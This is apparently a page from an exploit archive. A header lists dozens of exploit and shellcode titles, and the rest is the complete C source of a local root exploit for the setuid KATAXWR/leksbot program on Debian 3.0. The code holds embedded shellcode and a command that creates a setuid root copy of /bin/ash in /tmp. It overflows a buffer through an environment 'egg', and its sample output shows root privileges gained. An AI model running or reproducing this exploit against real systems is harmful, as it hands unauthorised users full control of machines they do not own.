880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
81 lines
No EOL
3.4 KiB
C
81 lines
No EOL
3.4 KiB
C
/*
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source: https://www.securityfocus.com/bid/7505/info
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Multiple vulnerabilities have been reported for Leksbot. The precise nature of these vulnerabilities are currently unknown however, exploitation of this issue may result in an attacker obtaining elevated privileges. This is because in some installations, the Leksbot binary may be installed setuid.
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*/
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/* by gunzip
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* KATAXWR/leksbot local root exploit
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* for Debian Linux 3.0
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* https://www.securityfocus.com/bid/7505
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* change command if you don't like it (gives a root shell in /tmp/ash)
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* http://members.xoom.it/gunzip . more to come
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*/
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#define COMMAND "cp /bin/ash /tmp && chmod 4755 /tmp/ash"
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#define PATH "/usr/bin/KATAXWR"
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#define ADDR 512
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#define SIZE 4096
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#define OFFSET 2700
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char shellcode[] = /* taken from lsd-pl */
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"\xeb\x22" /* jmp <cmdshellcode+36> */
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"\x59" /* popl %ecx */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68""//sh" /* pushl $0x68732f2f */
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"\x68""/bin" /* pushl $0x6e69622f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x66\x68""-c" /* pushw $0x632d */
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"\x89\xe7" /* movl %esp,%edi */
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"\x50" /* pushl %eax */
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"\x51" /* pushl %ecx */
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"\x57" /* pushl %edi */
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"\x53" /* pushl %ebx */
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"\x89\xe1" /* movl %esp,%ecx */
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"\x99" /* cdql */
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"\xb0\x0b" /* movb $0x0b,%al */
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"\xcd\x80" /* int $0x80 */
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"\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
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COMMAND;
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static char cmd[SIZE];
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main(int argc, char *argv[])
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{
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char buf[ADDR];
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char egg[SIZE];
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int i, offset ;
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unsigned long ret ;
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unsigned long sp = (unsigned long) &sp ;
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printf("Local (possibly) root exploit for /usr/bin/KATAXWR (leksbot)\n"
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"tested on Debian 3.0 - usage: ./ex [offset] - by gunzip\n");
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if ( argv[1] ) offset = atoi( argv[1] ); else offset = OFFSET ;
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ret = sp + offset ;
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memset( cmd, 0x00, SIZE );
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memset( buf, 0x00, ADDR );
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memset( egg, 0x41, SIZE );
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memcpy( &egg[ SIZE - strlen( shellcode ) - 1 ], shellcode, strlen( shellcode ));
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memcpy( egg, "EGG=", 4 );
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egg[ SIZE - 1 ] = 0 ;
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putenv( egg );
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for ( i=0; i < ADDR ; i += 4 ) *( unsigned long *)&buf[ i ] = ret;
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*( unsigned long *)&buf[ ADDR - 4 ] = 0x00000000 ; /* :-? */
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if (!(ret&0xff)||!(ret&0xff00)||!(ret&0xff0000)||!(ret&0xff000000)) {
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printf("Return address contains null byte(s), change offset and retry.\n");
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exit( -1 );
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}
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printf( "retaddr=0x%.08x offset=%d len=%d\n", (unsigned int)ret, offset, strlen( buf ));
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snprintf ( cmd, SIZE - 4, " echo '%s' | %s", buf, PATH );
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system( cmd );
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}
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/*
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bash-2.05b$ ./a.out
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retaddr=0xbffff668 offset=2700 len=508
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Please insert the term
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#dwsete tin simasia__#
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Do you want to add an other term?(y-n)
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bash-2.05b$ /tmp/ash
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# id
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uid=1002(test) gid=1002(test) euid=0(root) groups=1002(test)
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*/ |